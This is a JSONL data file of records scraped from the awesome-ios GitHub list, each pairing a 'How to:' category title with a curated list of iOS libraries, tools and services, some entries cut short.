{"id": "gh_7066d946c7c1", "question": "How to: Force Touch", "question_body": "About vsouza/awesome-ios", "answer": "*Quick actions and peek and pop interactions*\n\n- [QuickActions](https://github.com/ricardopereira/QuickActions) - Swift wrapper for iOS Home Screen Quick Actions (App Icon Shortcuts).\n- [JustPeek](https://github.com/justeat/JustPeek) - JustPeek is an iOS Library that adds support for Force Touch-like Peek and Pop interactions on devices that do not natively support this kind of interaction.\n- [PeekView](https://github.com/itsmeichigo/PeekView) - PeekView supports peek, pop and preview actions for iOS devices without 3D Touch capibility.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579800"}
{"id": "gh_f2ea416f7266", "question": "How to: Other Hardware", "question_body": "About vsouza/awesome-ios", "answer": "- [MotionKit](https://github.com/MHaroonBaig/MotionKit) - Get the data from Accelerometer, Gyroscope and Magnetometer in only Two or a few lines of code. CoreMotion now made insanely simple.\n- [DarkLightning](https://github.com/jensmeder/DarkLightning) - Simply the fastest way to transmit data between iOS/tvOS and macOS.\n- [Deviice](https://github.com/andrealufino/Deviice) - Simply library to detect the device on which the app is running (and some properties).\n- [DeviceKit](https://github.com/devicekit/DeviceKit) - DeviceKit is a value-type replacement of UIDevice.\n- [Luminous](https://github.com/andrealufino/Luminous) - Luminous is a big framework which can give you a lot of information (more than 50) about the current system.\n- [Device](https://github.com/Ekhoo/Device) - Light weight tool for detecting the current device and screen size written in swift.\n- [WatchShaker](https://github.com/ezefranca/WatchShaker) - WatchShaker is a watchOS helper to get your shake movement written in swift.\n- [WatchCon](https://github.com/abdullahselek/WatchCon) - WatchCon is a tool which enables creating easy connectivity between iOS and WatchOS.\n- [TapticEngine](https://github.com/WorldDownTown/TapticEngine) - TapticEngine generates iOS Device vibrations.\n- [UIDeviceComplete](https://github.com/Nirma/UIDeviceComplete) - UIDevice extensions that fill in the missing pieces.\n- [NFCNDEFParse](https://github.com/jvk75/NFCNDEFParse) - NFC Forum Well Known Type Data Parser for iOS11 and Core NFC.\n- [Device.swift](https://github.com/schickling/Device.swift) - Super-lightweight library to detect used device.\n- [SDVersion](https://github.com/sebyddd/SDVersion) - Lightweight Cocoa library for detecting the running device's model and screen size.\n- [Haptico](https://github.com/iSapozhnik/Haptico) - Easy to use haptic feedback generator with pattern-play support.\n- [NFCPassportReader](https://github.com/AndyQ/NFCPassportReader) - Swift library  to read an NFC enabled passport. Supports BAC, Secure Messaging, and both active and passive authentication. Requires iOS 13 or above.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579809"}
{"id": "gh_e36b37eb301b", "question": "How to: Localization", "question_body": "About vsouza/awesome-ios", "answer": "*Tools to manage strings files, translate and enable localization in your apps.*\n\n- [Hodor](https://github.com/Aufree/Hodor) - Simple solution to localize your iOS App.\n- [Swifternalization](https://github.com/tomkowz/Swifternalization) - Localize iOS apps in a smarter way using JSON files. Swift framework.\n- [Rubustrings](https://github.com/dcordero/Rubustrings) - Check the format and consistency of Localizable.strings files.\n- [BartyCrouch](https://github.com/Flinesoft/BartyCrouch) - Incrementally update/translate your Strings files from Code and Storyboards/XIBs.\n- [LocalizationKit](https://github.com/willpowell8/LocalizationKit_iOS) - Localization management in realtime from a web portal. Easily manage your texts and translations without redeploy and resubmission.\n- [Localize-Swift](https://github.com/marmelroy/Localize-Swift) - Swift 2.0 friendly localization and i18n with in-app language switching.\n- [LocalizedView](https://github.com/darkcl/LocalizedView) - Setting up application specific localized string within Xib file.\n- [transai](https://github.com/Jintin/transai) - command line tool help you manage localization string files.\n- [Strsync](https://github.com/metasmile/strsync) - Automatically translate and synchronize .strings files from base language.\n- [IBLocalizable](https://github.com/PiXeL16/IBLocalizable) - Localize your views directly in Interface Builder with IBLocalizable.\n- [nslocalizer](https://github.com/samdmarshall/nslocalizer) - A tool for finding missing and unused NSLocalizedStrings.\n- [L10n-swift](https://github.com/Decybel07/L10n-swift) - Localization of an application with ability to change language \"on the fly\" and support for plural forms in any language.\n- [Localize](https://github.com/andresilvagomez/Localize) - Easy tool to localize apps using JSON or Strings and of course IBDesignables with extensions for UI components.\n- [CrowdinSDK](https://github.com/crowdin/mobile-sdk-ios) - Crowdin iOS SDK delivers all new translations from Crowdin project to the application immediately.\n- [attranslate](https://github.com/fkirc/attranslate) - Semi-automatically translate or synchronize .strings files or crossplatform-files from different languages.\n- [Respresso Localization Converter](https://respresso.io/localization-converter) - Multiplatform localization converter for iOS (.strings + Objective-C getters), Android (strings.xml) and Web (.json).\n- [locheck](https://github.com/Asana/locheck) - Validate .strings, .stringsdict, and strings.xml files for correctness to avoid crashes and bad translations.\n- [StringSwitch](https://stringswitch.com) - Easily convert iOS .strings files to Android strings.xml format and vice versa.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579826"}
{"id": "gh_2b92dbb7fe6f", "question": "How to: Machine Learning", "question_body": "About vsouza/awesome-ios", "answer": "*A collection of ML Models, deep learning and neural networking libraries*\n\n- [Swift-Brain](https://github.com/vlall/Swift-Brain) - Artificial Intelligence/Machine Learning data structures and Swift algorithms for future iOS development. Bayes theorem, Neural Networks, and more AI.\n- [AIToolbox](https://github.com/KevinCoble/AIToolbox) - A toolbox of AI modules written in Swift: Graphs/Trees, Linear Regression, Support Vector Machines, Neural Networks, PCA, KMeans, Genetic Algorithms, MDP, Mixture of Gaussians.\n- [Tensorflow-iOS](https://github.com/tensorflow/tensorflow/tree/master/tensorflow/examples/ios) - The official Google-built powerful neural network library port for iOS.\n- [Bender](https://github.com/xmartlabs/Bender) - Easily craft fast Neural Networks. Use TensorFlow models. Metal under the hood.\n- [CoreML-samples](https://github.com/ytakzk/CoreML-samples) - Sample code for Core ML using ResNet50 provided by Apple and a custom model generated by coremltools.\n- [Revolver](https://github.com/petrmanek/Revolver) - A framework for building fast genetic algorithms in Swift. Comes with modular architecture, pre-implemented operators and loads of examples.\n- [CoreML-Models](https://github.com/likedan/Awesome-CoreML-Models) - A collection of unique Core ML Models.\n- [Serrano](https://github.com/pcpLiu/Serrano) - A deep learning library for iOS and macOS.\n- [Swift-AI](https://github.com/Swift-AI/Swift-AI) - The Swift machine learning library.\n- [TensorSwift](https://github.com/qoncept/TensorSwift) - A lightweight library to calculate tensors in Swift, which has similar APIs to TensorFlow's.\n- [DL4S](https://github.com/palle-k/DL4S) - Deep Learning for Swift: Accelerated tensor operations and dynamic neural networks based on reverse mode automatic differentiation for every device that can run Swift.\n- [SwiftCoreMLTools](https://github.com/JacopoMangiavacchi/SwiftCoreMLTools) - A Swift library for creating and exporting CoreML Models in Swift.\n- [iOS-GenAI-Sampler](https://github.com/shu223/iOS-GenAI-Sampler) - A collection of Generative AI examples on iOS.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579841"}
{"id": "gh_7658699036e0", "question": "How to: Networking", "question_body": "About vsouza/awesome-ios", "answer": "- [AFNetworking](https://github.com/AFNetworking/AFNetworking) - A delightful iOS and macOS networking framework.\n- [AFNetworking+RetryPolicy](https://github.com/kubatruhlar/AFNetworking-RetryPolicy) - An objective-c category that adds the ability to set the retry logic for requests made with AFNetworking.\n- [AFNetworking-Synchronous](https://github.com/paulmelnikow/AFNetworking-Synchronous) - Synchronous requests for AFNetworking 1.x, 2.x, and 3.x.\n- [AFNetworkingHelper](https://github.com/betacraft/AFNetworkingHelper) - A custom wrapper over AFNetworking library that we use inside RC extensively.\n- [agent](https://github.com/hallas/agent) - Minimalistic Swift HTTP request agent for iOS and macOS.\n- [AlamoRecord](https://github.com/tunespeak/AlamoRecord) - An elegant yet powerful iOS networking layer inspired by ActiveRecord.\n- [Alamofire](https://github.com/Alamofire/Alamofire) - Alamofire is an HTTP networking library written in Swift, from the creator of AFNetworking.\n- [APIKit](https://github.com/ishkawa/APIKit) - A networking library for building type safe web API client in Swift.\n- [ASIHTTPRequest](https://github.com/pokeb/asi-http-request) - Easy to use CFNetwork wrapper for HTTP requests, Objective-C, macOS and iPhone.\n- [Bamboots](https://github.com/mmoaay/Bamboots) - Bamboots is a network request framework based on Alamofire, aiming at making network request easier for business development.\n- [Bridge](https://github.com/BridgeNetworking/Bridge) - A simple extensible typed networking library. Intercept and process/alter requests and responses easily.\n- [CDZPinger](https://github.com/cdzombak/CDZPinger) - Easy-to-use ICMP Ping.\n- [Ciao](https://github.com/AlTavares/Ciao) - Publish and discover services using mDNS(Bonjour, Zeroconf).\n- [CocoaAsyncSocket](https://github.com/robbiehanson/CocoaAsyncSocket) - Asynchronous socket networking library for Mac and iOS.\n- [DBNetworkStack](https://github.com/dbsystel/DBNetworkStack) - Resource-oritented networking which is typesafe, extendable, composeable and makes testing a lot easier.\n- [Digger](https://github.com/cornerAnt/Digger) - Digger is a lightweight download framework that requires only one line of code to complete the file download task.\n- [Domainer](https://github.com/FelixLinBH/Domainer) - Manage multi-domain url auto mapping ip address table.\n- [Dots](https://github.com/iAmrSalman/Dots) - Lightweight Concurrent Networking Framework.\n- [EFInternetIndicator](https://github.com/ezefranca/EFInternetIndicator) - A little swift Internet error status indicator using ReachabilitySwift.\n- [EVCloudKitDao](https://github.com/evermeer/EVCloudKitDao) - Simplified access to Apple's CloudKit.\n- [EVURLCache](https://github.com/evermeer/EVURLCache) - a NSURLCache subclass for handling all web requests that use NSURLRequest.\n- [FGRoute](https://github.com/Feghal/FGRoute) - An easy-to-use library that helps developers to get wifi ssid, router and device ip addresses.\n- [FSNetworking](https://github.com/foursquare/FSNetworking) - Foursquare iOS networking library.\n- [Gem](https://github.com/Albinzr/Gem) - An extreme light weight system with high performance for managing all http request with automated parser with modal.\n- [Get](https://github.com/kean/Get) - A modern Swift web API client built using async/await.\n- [HappyDns](https://github.com/qiniu/happy-dns-objc) - A Dns library, support custom dns server, dnspod httpdns. Only support A record.\n- [Just](https://github.com/dduan/Just) - Swift HTTP for Humans.\n- [Malibu](https://github.com/hyperoslo/Malibu) - Malibu is a networking library built on promises.\n- [Merhaba](https://github.com/abdullahselek/Merhaba) - Bonjour networking for discovery and connection between iOS, macOS and tvOS devices.\n- [MHNetwork](https://github.com/emadhegab/MHNetwork) - Protocol Oriented Network Layer Aim to avoid having bloated singleton NetworkManager.\n- [MMLanScan](https://github.com/mavris/MMLanScan) - An iOS LAN Network Scanner library.\n- [MonkeyKing](https://github.com/nixzhu/MonkeyKing) - MonkeyKing helps you post messages to Chinese Social Networks.\n- [Moya](https://github.com/Moya/Moya) - Network abstraction layer written in Swift.\n- [Netdiag](https://github.com/qiniu/iOS-netdiag) - A network diagnosis library. Support Ping/TcpPing/Rtmp/TraceRoute/DNS/external IP/external DNS.\n- [NetClient](https://github.com/intelygenz/NetClient-iOS) - Versatile HTTP networking library written in Swift 3.\n- [NetKit](https://github.com/azizuysal/NetKit) - A Concise HTTP Framework in Swift.\n- [NetworkKit](https://github.com/imex94/NetworkKit) - Lightweight Networking and Parsing framework made for iOS, Mac, WatchOS and tvOS.\n- [Networking](https://github.com/3lvis/Networking) - Simple HTTP Networking in Swift a NSURLSession wrapper with image caching support.\n- [Nikka](https://github.com/stremsdoerfer/Nikka) - A super simple Networking wrapper that supports many JSON libraries, Futures and Rx.\n- [NKMultipeer](https://github.com/nathankot/NKMu", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579913"}
{"id": "gh_229d0dcdbf97", "question": "How to: Push Notifications", "question_body": "About vsouza/awesome-ios", "answer": "- [Orbiter](https://github.com/mattt/Orbiter) - Push Notification Registration for iOS.\n- [PEM](https://github.com/fastlane/fastlane/tree/master/pem) - Automatically generate and renew your push notification profiles.\n- [Knuff](https://github.com/KnuffApp/Knuff) - The debug application for Apple Push Notification Service (APNS).\n- [FBNotifications](https://github.com/facebook/FBNotifications) - Facebook Analytics In-App Notifications Framework.\n- [NWPusher](https://github.com/noodlewerk/NWPusher) - macOS and iOS application and framework to play with the Apple Push Notification service (APNs).\n- [SimulatorRemoteNotifications](https://github.com/acoomans/SimulatorRemoteNotifications) - Library to send mock remote notifications to the iOS simulator.\n- [APNSUtil](https://github.com/pisces/APNSUtil) - Library makes code simple settings and landing for apple push notification service.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579928"}
{"id": "gh_e3665985418d", "question": "How to: Push Notification Providers", "question_body": "About vsouza/awesome-ios", "answer": "Most of these are paid services, some have free tiers.\n\n- [Urban Airship](https://www.airship.com/platform/channels/mobile-app/)\n- [Growth Push](https://growthpush.com) - Popular in Japan.\n- [Braze](https://www.braze.com/)\n- [Batch](https://batch.com)\n- [Boxcar](https://boxcar.io)\n- [Carnival](https://www.sailthru.com)\n- [Catapush](https://www.catapush.com/)\n- [Netmera](https://www.netmera.com/)\n- [OneSignal](https://onesignal.com) - Free.\n- [PushBots](https://pushbots.com/)\n- [Pushwoosh](https://www.pushwoosh.com)\n- [Pushkin](https://github.com/Nordeus/pushkin) - Free and open-source.\n- [Pusher](https://pusher.com/beams) - Free and unlimited.\n- [Swrve](https://www.swrve.com)\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579935"}
{"id": "gh_6e11fd7c82be", "question": "How to: Objective-C Runtime", "question_body": "About vsouza/awesome-ios", "answer": "*Objective-C Runtime wrappers, libraries and tools.*\n\n- [Lumos](https://github.com/sushinoya/lumos) - A light Swift wrapper around Objective-C Runtime.\n- [Swizzlean](https://github.com/rbaumbach/Swizzlean) - An Objective-C Swizzle Helper Class.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579940"}
{"id": "gh_cea2b886e862", "question": "How to: Optimization", "question_body": "About vsouza/awesome-ios", "answer": "- [Unreachable](https://github.com/nvzqz/Unreachable) - Unreachable code path optimization hint for Swift.\n- [SmallStrings](https://github.com/EmergeTools/SmallStrings) - Reduce localized .strings file sizes by 80%.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579945"}
{"id": "gh_c3206edf0747", "question": "How to: Other Awesome Lists", "question_body": "About vsouza/awesome-ios", "answer": "*Other amazingly awesome lists can be found in the*\n\n- [awesome-awesomeness](https://github.com/bayandin/awesome-awesomeness) list.\n- [Open Source apps](https://github.com/dkhamsing/open-source-ios-apps) list of open source iOS apps.\n\n- [awsome-ios-animation](https://github.com/ameizi/awesome-ios-animation) - A curated list of awesome iOS animation, including Objective-C and Swift libraries.\n- [awesome-gists](https://github.com/vsouza/awesome-gists#ios) - A list of amazing gists (iOS section).\n- [awesome-interview-questions](https://github.com/MaximAbramchuck/awesome-interview-questions#ios) - A curated awesome list of lists of interview questions including iOS.\n- [iOS-Playbook](https://github.com/bakkenbaeck/iOS-handbook) - Guidelines and best practices for excellent iOS apps.\n- [iOS-Learning-Materials](https://github.com/jVirus/iOS-Learning-Materials) - Curated list of articles, web-resources, tutorials and code repositories that may help you dig a little bit deeper into iOS.\n- [Awesome-iOS-Twitter](https://github.com/carolanitz/Awesome-iOS-Twitter) - A curated list of awesome iOS Twitter accounts.\n- [Marketing for Engineers](https://github.com/LisaDziuba/Marketing-for-Engineers) - A curated collection of marketing articles & tools to grow your product.\n- [Awesome ARKit](https://github.com/olucurious/Awesome-ARKit) - A curated list of awesome ARKit projects and resources.\n- [CocoaConferences](https://github.com/Lascorbe/CocoaConferences) - List of cocoa conferences for iOS & macOS developers.\n- [example-ios-apps](https://github.com/jogendra/example-ios-apps) - A curated list of Open Source example iOS apps developed in Swift.\n- [Curated-Resources-for-Learning-Swift](https://hackr.io/tutorials/learn-ios-swift) - A curated list of resources recommended by the developers.\n- [Awesome list of open source applications for macOS](https://github.com/serhii-londar/open-source-mac-os-apps) - List of awesome open source applications for macOS.\n- [Awesome iOS Interview question list](https://github.com/dashvlas/awesome-ios-interview) - Guide for interviewers and interviewees. Review these iOS interview questions - and get some practical tips along the way.\n- [Top App Developers](https://github.com/app-developers/top) - A list of top iOS app developers.\n- [awesome-ios-developer](https://github.com/jphong1111/awesome-ios-developer) - Useful knowledges and stuff for ios developer.\n- [awesome-ios-books](https://github.com/bystritskiy/awesome-ios-books) - A list of books for iOS developers.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579953"}
{"id": "gh_2e83dc66650d", "question": "How to: XML & HTML", "question_body": "About vsouza/awesome-ios", "answer": "- [AEXML](https://github.com/tadija/AEXML) - Simple and lightweight XML parser written in Swift.\n- [Ji](https://github.com/honghaoz/Ji) - XML/HTML parser for Swift.\n- [Ono](https://github.com/mattt/Ono) - A sensible way to deal with XML & HTML for iOS & macOS.\n- [Fuzi](https://github.com/cezheng/Fuzi) - A fast & lightweight XML & HTML parser in Swift with XPath & CSS support.\n- [Kanna](https://github.com/tid-kijyun/Kanna)  - Kanna(鉋) is an XML/HTML parser for macOS/iOS.\n- [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser) - Simple XML Parser implemented in Swift.\n- [HTMLKit](https://github.com/iabudiab/HTMLKit) - An Objective-C framework for your everyday HTML needs.\n- [SWXMLHash](https://github.com/drmohundro/SWXMLHash) - Simple XML parsing in Swift.\n- [SwiftyXML](https://github.com/chenyunguiMilook/SwiftyXML) - The most swifty way to deal with XML data in swift 4.\n- [XMLCoder](https://github.com/MaxDesiatov/XMLCoder) - Encoder & Decoder for XML using Swift's `Codable` protocols.\n- [ZMarkupParser](https://github.com/ZhgChgLi/ZMarkupParser) - Convert HTML strings into NSAttributedString with customized styles and tags.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579969"}
{"id": "gh_e792ede86dc1", "question": "How to: Other Parsing", "question_body": "About vsouza/awesome-ios", "answer": "- [WKZombie](https://github.com/mkoehnke/WKZombie) - WKZombie is a Swift framework for iOS/macOS to navigate within websites and collect data without the need of User Interface or API, also known as Headless browser. It can be used to run automated tests or manipulate websites using Javascript.\n- [URLPreview](https://github.com/itsmeichigo/URLPreview) - An NSURL extension for showing preview info of webpages.\n- [FeedKit](https://github.com/nmdias/FeedKit) - An RSS and Atom feed parser written in Swift.\n- [Erik](https://github.com/phimage/Erik) - Erik is an headless browser based on WebKit. An headless browser allow to run functional tests, to access and manipulate webpages using javascript.\n- [URLEmbeddedView](https://github.com/marty-suzuki/URLEmbeddedView) - Automatically caches the object that is confirmed the Open Graph Protocol, and displays it as URL embedded card.\n- [SwiftCssParser](https://github.com/100mango/SwiftCssParser) - A Powerful , Extensible CSS Parser written in pure Swift.\n- [RLPSwift](https://github.com/bitfwdcommunity/RLPSwift) - Recursive Length Prefix encoding written in Swift.\n- [AcknowledgementsPlist](https://github.com/cats-oss/AcknowledgementsPlist) - AcknowledgementsPlist manages the licenses of libraries that depend on your iOS app.\n- [CoreXLSX](https://github.com/MaxDesiatov/CoreXLSX) - Excel spreadsheet (XLSX) format support in pure Swift.\n- [SVGView](https://github.com/exyte/SVGView) - SVG parser and renderer written in SwiftUI.\n- [CreateAPI](https://github.com/CreateAPI/CreateAPI) - Delightful code generation for OpenAPI specs for Swift written in Swift.\n- [NetNewsWire](https://github.com/Ranchero-Software/NetNewsWire) - It’s a free and open-source feed reader for macOS and iOS.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579978"}
{"id": "gh_7a56093c31a8", "question": "How to: Permissions", "question_body": "About vsouza/awesome-ios", "answer": "- [Proposer](https://github.com/nixzhu/Proposer) - Make permission request easier (Supports Camera, Photos, Microphone, Contacts, Location).\n- [ISHPermissionKit](https://github.com/iosphere/ISHPermissionKit) - A unified way for iOS apps to request user permissions.\n- [ClusterPrePermissions](https://github.com/rsattar/ClusterPrePermissions) - Reusable pre-permissions utility that lets developers ask users for access in their own dialog, before making the system-based request.\n- [Permission](https://github.com/delba/Permission) - A unified API to ask for permissions on iOS.\n- [STLocationRequest](https://github.com/SvenTiigi/STLocationRequest) - A simple and elegant 3D-Flyover location request screen written Swift.\n- [PAPermissions](https://github.com/pascalbros/PAPermissions) - A unified API to ask for permissions on iOS.\n- [AREK](https://github.com/ennioma/arek) - AREK is a clean and easy to use wrapper over any kind of iOS permission.\n- [SPPermissions](https://github.com/ivanvorobei/SPPermissions) - Ask permissions on Swift. Available List, Dialog & Native interface. Can check state permission.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579988"}
{"id": "gh_c28be369d0cd", "question": "How to: Project setup", "question_body": "About vsouza/awesome-ios", "answer": "- [crafter](https://github.com/krzysztofzablocki/crafter) - CLI that allows you to configure iOS project's template using custom DSL syntax, simple to use and quite powerful.\n- [liftoff](https://github.com/liftoffcli/liftoff) - Another CLI for creating iOS projects.\n- [amaro](https://github.com/crushlovely/Amaro) - iOS Boilerplate full of delights.\n- [chairs](https://github.com/orta/chairs) - Swap around your iOS Simulator Documents.\n- [SwiftPlate](https://github.com/JohnSundell/SwiftPlate) - Easily generate cross platform Swift framework projects from the command line.\n- [xcproj](https://github.com/tuist/xcodeproj) - Read and update Xcode projects.\n- [Tuist](https://github.com/tuist/tuist) - A tool to create, maintain and interact with Xcode projects at scale.\n- [SwiftKit](https://github.com/SvenTiigi/SwiftKit) - Start your next Open-Source Swift Framework.\n- [swift5-module-template](https://github.com/fulldecent/swift5-module-template) - A starting point for any Swift 5 module that you want other people to include in their projects.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579995"}
{"id": "gh_c7ade7e5182a", "question": "How to: Prototyping", "question_body": "About vsouza/awesome-ios", "answer": "- [FluidUI](https://www.fluidui.com)\n- [Proto.io](https://proto.io/)\n- [Framer](https://www.framer.com/)\n- [Principle](https://principleformac.com/)\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580000"}
{"id": "gh_994210a93990", "question": "How to: Rapid Development", "question_body": "About vsouza/awesome-ios", "answer": "- [Playgrounds](https://github.com/krzysztofzablocki/Playgrounds) - Playgrounds for Objective-C for extremely fast prototyping / learning.\n- [MMBarricade](https://github.com/mutualmobile/MMBarricade) - Runtime configurable local server for iOS apps.\n- [STV Framework](http://www.sensiblecocoa.com) - Native visual iOS development.\n- [swiftmon](https://github.com/dimpiax/swiftmon) - swiftmon restarts your swift application in case of any file change.\n- [Model2App](https://github.com/Q-Mobile/Model2App) - Turn your Swift data model into a working CRUD app.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580005"}
{"id": "gh_4b3d5e29f9b8", "question": "How to: Reactive Programming", "question_body": "About vsouza/awesome-ios", "answer": "- [RxSwift](https://github.com/ReactiveX/RxSwift) - Reactive Programming in Swift.\n- [RxOptional](https://github.com/thanegill/RxOptional) - RxSwift extensions for Swift optionals and \"Occupiable\" types.\n- [ReactiveTask](https://github.com/Carthage/ReactiveTask) - Flexible, stream-based abstraction for launching processes.\n- [ReactiveCocoa](https://github.com/ReactiveCocoa/ReactiveCocoa) - Streams of values over time.\n- [RxMediaPicker](https://github.com/RxSwiftCommunity/RxMediaPicker) - A reactive wrapper built around UIImagePickerController.\n- [ReactiveCoreData](https://github.com/apparentsoft/ReactiveCoreData) - ReactiveCoreData (RCD) is an attempt to bring Core Data into the ReactiveCocoa (RAC) world.\n- [ReSwift](https://github.com/ReSwift/ReSwift) - Unidirectional Data Flow in Swift - Inspired by Redux.\n- [ReactiveKit](https://github.com/DeclarativeHub/ReactiveKit) - ReactiveKit is a collection of Swift frameworks for reactive and functional reactive programming.\n- [RxPermission](https://github.com/sunshinejr/RxPermission) - RxSwift bindings for Permissions API in iOS.\n- [RxAlamofire](https://github.com/RxSwiftCommunity/RxAlamofire) - RxSwift wrapper around the elegant HTTP networking in Swift Alamofire.\n- [RxRealm](https://github.com/RxSwiftCommunity/RxRealm) - Rx wrapper for Realm's collection types.\n- [RxMultipeer](https://github.com/RxSwiftCommunity/RxMultipeer) - A testable RxSwift wrapper around MultipeerConnectivity.\n- [RxBluetoothKit](https://github.com/Polidea/RxBluetoothKit) - iOS & macOS Bluetooth library for RxSwift.\n- [RxGesture](https://github.com/RxSwiftCommunity/RxGesture) - RxSwift reactive wrapper for view gestures.\n- [NSObject-Rx](https://github.com/RxSwiftCommunity/NSObject-Rx) - Handy RxSwift extensions on NSObject, including rx_disposeBag.\n- [RxCoreData](https://github.com/RxSwiftCommunity/RxCoreData) - RxSwift extensions for Core Data.\n- [RxAutomaton](https://github.com/inamiy/RxAutomaton) - RxSwift + State Machine, inspired by Redux and Elm.\n- [ReactiveArray](https://github.com/Wolox/ReactiveArray) - An array class implemented in Swift that can be observed using ReactiveCocoa's Signals.\n- [Interstellar](https://github.com/JensRavens/Interstellar) - Simple and lightweight Functional Reactive Coding in Swift for the rest of us.\n- [ReduxSwift](https://github.com/lsunsi/ReduxSwift) - Predictable state container for Swift apps too.\n- [Aftermath](https://github.com/hyperoslo/Aftermath) - Stateless message-driven micro-framework in Swift.\n- [RxKeyboard](https://github.com/RxSwiftCommunity/RxKeyboard) - Reactive Keyboard in iOS.\n- [JASONETTE-iOS](https://github.com/Jasonette/JASONETTE-iOS) - Native App over HTTP. Create your own native iOS app with nothing but JSON.\n- [ReactiveSwift](https://github.com/ReactiveCocoa/ReactiveSwift) - Streams of values over time by ReactiveCocoa group.\n- [Listenable](https://github.com/msaps/Listenable) - Swift object that provides an observable platform.\n- [Reactor](https://github.com/ReactorSwift/Reactor) - Unidirectional Data Flow using idiomatic Swift—inspired by Elm and Redux.\n- [Snail](https://github.com/UrbanCompass/Snail) - An observables framework for Swift.\n- [RxWebSocket](https://github.com/fjcaetano/RxWebSocket) - Reactive extension over Starscream for websockets.\n- [ACKReactiveExtensions](https://github.com/AckeeCZ/ACKReactiveExtensions) - Useful extensions for ReactiveCocoa\n- [ReactiveLocation](https://github.com/AckeeCZ/ReactiveLocation) - CoreLocation made reactive\n- [Hanson](https://github.com/blendle/Hanson) - Lightweight observations and bindings in Swift, with support for KVO and NotificationCenter.\n- [Observable](https://github.com/roberthein/Observable) - The easiest way to observe values in Swift.\n- [SimpleApiClient](https://github.com/jaychang0917/SimpleApiClient-ios) - A configurable api client based on Alamofire4 and RxSwift4 for iOS.\n- [VueFlux](https://github.com/ra1028/VueFlux) - Unidirectional Data Flow State Management Architecture for Swift - Inspired by Vuex and Flux.\n- [RxAnimated](https://github.com/RxSwiftCommunity/RxAnimated) - Animated RxCocoa bindings.\n- [BindKit](https://github.com/electricbolt/bindkit) - Two-way data binding framework for iOS. Only one API to learn.\n- [STDevRxExt](https://github.com/stdevteam/STDevRxExt) - STDevRxExt contains some extension functions for RxSwift and RxCocoa which makes our live easy.\n- 